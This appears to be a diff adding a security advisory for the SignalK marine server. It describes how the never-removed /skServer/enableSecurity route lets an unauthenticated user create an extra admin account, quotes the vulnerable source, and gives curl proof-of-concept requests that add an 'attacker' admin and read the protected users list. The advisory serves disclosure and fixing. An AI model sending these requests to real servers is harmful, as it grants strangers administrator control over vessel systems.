+ "details": "## Summary\n\nAccording to SignalK's security documentation, when a server is first initialized without security enabled, the **/skServer/enableSecurity** endpoint is intentionally exposed to allow the owner to set up the initial admin account. This initial open access is by design.\n\nHowever, the critical vulnerability is that this route is never deregistered or disabled after the initial successful setup. Even after the genuine administrator has created their account, restarted the server, and activated token security, the **/skServer/enableSecurity** route remains perpetually open.\n\nFurthermore, the endpoint explicitly trusts the **type** field provided in the request body, passing it directly into the server's security configuration without validation. Because the route remains permanently listening, any unauthenticated user can call this endpoint at any time to silently inject a new, fully privileged admin account alongside the legitimate ones.\n\n## Vulnerable Root Cause \n\nFile: src/serverroutes.ts (Lines 685-754)\n```\nif (app.securityStrategy.getUsers(getSecurityConfig(app)).length === 0) {\n app.post(\n `${SERVERROUTESPREFIX}/enableSecurity`,\n (req: Request, res: Response) => {\n // ...\n function addUser(request: Request, response: Response, securityStrategy: SecurityStrategy, config?: any) {\n // [!VULNERABLE] Passes the entire JSON request body directly to the security strategy\n securityStrategy.addUser(config, request.body, (err, theConfig) => {\n // ...\n })\n }\n }\n // ... No code disables or removes this route after first execution.\n // The conditional check on Line 685 only happens during server startup, \n```\n\nFile: src/tokensecurity.ts (Lines 980-994)\n```\nfunction addUser(\n theConfig: SecurityConfig,\n user: { userId: string; type: string; password?: string },\n callback: ICallback<SecurityConfig>\n ): void {\n // ...\n const newUser: User = {\n username: user.userId,\n type: user.type // [!VULNERABLE] Blindly trusts the injected \"type\" field\n }\n```\n\n## Proof of Concept (PoC)\n\n**Simulate Legitimate Initial Setup**: Send a POST request to the open enableSecurity route defining the initial legitimate admin account.\n```\ncurl -X POST http://localhost:3000/skServer/enableSecurity \\\n -H \"Content-Type: application/json\" \\\n -d '{\"userId\": \"admin\", \"password\": \"securepassword\", \"type\": \"admin\"}'\n\nResult: Security enabled\n```\n\n**Inject Malicious Admin**: Send the exact same request again to create a second, unauthorized admin account. This should ideally be blocked because security was already enabled.\n\n```\ncurl -X POST http://localhost:3000/skServer/enableSecurity \\\n -H \"Content-Type: application/json\" \\\n -d '{\"userId\": \"attacker\", \"password\": \"password123\", \"type\": \"admin\"}'\n\nResult: Security enabled (The vulnerability: The server fails to reject the request and creates the second admin).\n```\n\n**Verify Both Admins Exist**: Login via JWT as the attacker and query the restricted users endpoint.\n\n```\n# Get Token for Attacker\nTOKEN=$(curl -s -X POST http://localhost:3000/signalk/v1/auth/login \\\n -H \"Content-Type: application/json\" \\\n -d '{\"username\": \"attacker\", \"password\": \"password123\"}' | jq -r .token)\n```\n```\n# Access Admin-Only Data\ncurl -H \"Authorization: Bearer $TOKEN\" http://localhost:3000/skServer/security/users\nResult: The system returns both admin and attacker as active Administrators.\n```\n\n<img width=\"1205\" height=\"469\" alt=\"Screenshot 2026-03-24 145906\" src=\"https://github.com/user-attachments/assets/98855e54-cb78-4786-a9e3-63dcc1bed37a\" />\n\n## Security Impact\nAn unauthenticated attacker can gain full Administrator access to the SignalK server at any time, allowing them to modify sensitive vessel routing data, alter server configurations, and access restricted endpoints",
0 commit comments